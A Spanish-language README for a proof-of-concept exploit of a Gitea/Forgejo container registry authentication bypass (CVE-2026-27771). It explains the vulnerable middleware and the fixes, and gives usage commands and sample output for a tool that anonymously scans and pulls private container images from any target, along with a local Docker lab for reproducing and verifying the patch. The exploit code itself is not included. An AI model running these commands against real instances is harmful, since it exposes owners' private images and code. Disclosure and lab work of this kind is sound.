
CVE-2026-27771 - PoC de exploit de omisión de autenticación del registro de contenedores de Gitea/Forgejo - Extraer imágenes de contenedores privados sin autenticación
CVSS: N/A (no publicado)
Afecta a: Gitea < 1.26.2 (todas las versiones con registro OCI de contenedores)
También afecta a: Forgejo (confirmado por NoScope)
Descubierto por: NoScope
Corregido en: Gitea v1.26.2 (20 de mayo de 2026)
Aviso legal: Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no se responsabilizan del mal uso de este código. Pruebe únicamente contra sistemas de su propiedad o para los que tenga permiso explícito.
Atacantes remotos no autenticados pueden extraer imágenes de contenedores privadas de instancias de Gitea. Los endpoints de la especificación OCI Distribution Spec (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) sirven contenido a usuarios fantasma/anónimos (UserID: -1) sin comprobar la visibilidad del propietario del paquete de contenedor (privada/limitada/pública).
NoScope identificó aproximadamente 31.750+ instancias expuestas a internet en más de 30 países. La falla pasó desapercibida durante ~4 años.
La vulnerabilidad está en el middleware ReqContainerAccess (routers/api/packages/container/container.go):
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
Esto solo comprueba:
ctx.Doer nil? (solicitud no autenticada sin ningún token)RequireSignInViewStrict habilitado Y es el usuario un fantasma?No comprueba la configuración de visibilidad del propietario del paquete (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). Un usuario fantasma (UserID: -1) con un ámbito vacío pasa directamente y puede acceder a cualquier paquete de contenedor.
El endpoint /v2/token (función Authenticate) otorga tokens anónimos sin credenciales cuando RequireSignInViewStrict es false.
Dos correcciones llegaron en 1.26.2:
PR #37290 — Cabecera condicional Basic realm en apiUnauthorizedError — deja de enviar Basic realm en instancias públicas para evitar confundir a los clientes Docker, y verificación de visibilidad por propietario en el desafío de autenticación.
PR #37610 — Etiquetas de visibilidad de paquetes + comprobación de permisos de fuente Composer — añade el modelo de permisos subyacente para paquetes. Sin estas etiquetas, no había forma de diferenciar paquetes privados/internos/públicos en la ruta de comprobación de permisos.
[service]
REQUIRE_SIGNIN_VIEW = true
Esto bloquea todo acceso anónimo (incluyendo repositorios públicos), lo que cierra la vía de explotación. Sin embargo, el modelo de permisos subyacente sigue roto: cualquier usuario autenticado puede seguir accediendo a todos los paquetes. Actualice a 1.26.2+ para la corrección real.
python3 CVE-2026-27771-exploit.py scan <url> # Descubrir repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url> # Extraer todas las imágenes
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image # Extraer un repositorio específico
python3 CVE-2026-27771-exploit.py pull <url> --dry-run # Mostrar lo que se extraería
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]
# Escanear una instancia vulnerable
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# Extraer todas las imágenes de contenedor privadas (anónimo)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# Extraer con token de acceso personal (para instancias REQUIRE_SIGNIN_VIEW)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# Auto-registro en instancias sin captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email [email protected]
/v2/, detecta disponibilidad de registro, obtiene token anónimo o intercambia PAT por JWT/v2/_catalog (devuelve TODOS los repos — públicos y privados — debido a la visibilidad rota)pulled_<repo>/extracted/REQUIRE_SIGNIN_VIEW=false, obtiene un token fantasma sin credenciales--token es una cadena hexadecimal de 40 caracteres, lo intercambia automáticamente por un JWT OCI mediante Basic auth--token contiene puntos, lo usa directamente como token Bearer[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
# 1. Desplegar Gitea 1.25.x con Docker (versión vulnerable)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. Crear un usuario y subir una imagen Docker privada
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. Ejecutar el exploit (sin credenciales)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# El exploit encontrará testuser/secret-app y descargará todas las capas.
# Los archivos estarán en pulled_testuser_secret-app/extracted/
# Actualizar a la versión parcheada
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# El token anónimo debería ser denegado (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Esperado: "Version >= 1.26.2 (patched)"